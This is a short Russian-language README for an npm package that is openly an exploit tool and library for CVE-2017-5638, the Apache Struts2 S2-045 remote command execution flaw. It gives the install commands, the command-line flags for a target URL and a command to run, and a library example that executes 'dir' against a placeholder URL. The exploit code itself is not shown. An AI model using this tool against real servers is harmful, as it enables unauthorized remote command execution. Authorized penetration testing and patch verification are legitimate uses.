Struts2Shell

Эксплойт (и библиотека) для CVE-2017-5638 — ошибка Apache Struts2 S2-045.

Установка

$ npm install -g struts2shell

Установка в качестве библиотеки

$ npm install struts2shell

Параметры командной строки

-h, --help           вывести справку по использованию
-V, --version        вывести номер версии
-u, --url [цель]     URL для атаки
-c, --cmd [команда]  Команда для выполнения

Использование в качестве библиотеки

var Struts2Shell = require('struts2shell');
Struts2Shell({
	URL: 'http://example.com/some.action',
	CMD: 'dir'
}, function(err, response,body) {
    if(err) throw err;
    console.log(body)
})

Скриншот

Лицензия

MIT

Свободное ПО, черт возьми!